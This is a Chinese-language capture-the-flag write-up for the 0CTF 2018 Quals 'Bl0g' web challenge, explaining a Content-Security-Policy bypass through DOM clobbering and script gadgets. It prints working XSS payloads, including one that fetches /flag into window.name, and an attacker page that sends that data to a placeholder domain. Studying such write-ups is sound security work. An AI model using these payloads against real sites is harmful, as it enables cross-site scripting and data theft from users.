0CTF 2018 Quals Bl0g writeup

发表于 2018 年 4 月 2 日

注册登录后可以 /new 创建文章、/article/{id} 查看文章、/submit 提交以 http://202.120.7.197:8090/ 开头的 URL 让管理员查看。

flag 位于 /flag;全站的 CSP 头如下:

Content-Security-Policy: script-src 'self' 'unsafe-inline'
Content-Security-Policy: default-src 'none'; script-src 'nonce-BXwvkDpdui1nFUwIDBfv7dE0miw=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

很明显是个 XSS 题,注册、登录和提交 URL 功能都有 reCAPTCHA 验证码,所以不用考虑太多。剩下的输入点就只有 /new 创建文章了。很容易可以发现 effect 参数可以插入 HTML 标签:

然而 CSP 真的很严格,插入 <script src=//your.domain></script> 会同时违反两条策略;插入 <script>your_code()</script> 则会因为缺少 nonce-{random} 违反第二条策略。

stritc-dynamic 之前没见过,一起来了解一下:CSP: script-srcstrict-dynamic 对因为 nonce-{random} 匹配或者 hash 匹配(例如 sha256-{sha256sum}sha512-{sha512sum}等)而加载的 js 代码赋予一定程度的信任,允许他们操作 DOM 来加载其他的 js。更详细的解释可以参考 W3C 的 CSP 文档

忙乱地四处挑选, 找到 Black Hat 2017 的一篇文章 Breaking XSS mitigations via Script Gadgets,讲的是利用 CSP 的 strict-dynamic 结合前端库里的 gadget 来 XSS。

查看文章的页面加载了 4 个 js。config.js 里定义了 effects 变量;而 article.js 则是取页面中 name="effect" 元素的值作为 effects 的下标,通过 jQuery 的 append() 追加的页面中。

一开始我们按 BH 那篇文章的思路,在 Kube.js找到了一个 gadget,modal 在 show 的时候会向 url 发出 post 请求,然后将返回内容填入到 targetclass=modal-body 的 innerHTML 中,且 data-show=1 就能自动触发 show 。

<a data-component=modal data-target=* data-url=3508 class=modal-body data-show=1></a>

但是 /neweffect 参数限制在了 70 个字符,没法插入 data-show=1 ,不能实现自动触发,只能点击触发:

"class=modal-body><a data-component=modal data-target=* data-url=3508>

在 irc 跟出题人确认了一下 bot 不会点击页面后,就放弃了这个思路。那正确的思路到底是怎样的呢,前面说到,article.jsname=effect 的元素的值作为 effects 的下标,将 effects[$("#effect").val()] append 到 body 中。实际上,effects 是可以被我们劫持的:

id"><form name=effects id=crtest><script>

末尾的 script 标签使得 config.js 不会被加载,前面的 form 改变了 effects:

所以此时被写入到 body 中的 effects['id'] 就可控了:

最后构造 payload 将 flag 写入到 window.name :

id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>

提交 URL :http://202.120.7.197:8090/login?next=//example.com/evil.html

evil.html 通过 iframe 内容读取 window.name

<iframe src="http://202.120.7.197:8090/article/2750"></iframe>
<script>
	setTimeout(()=>{frames[0].window.location.href='/'},1200)
	setTimeout(()=>{location.href='http://your_domain/?'+frames[0].window.name},1500)
</script>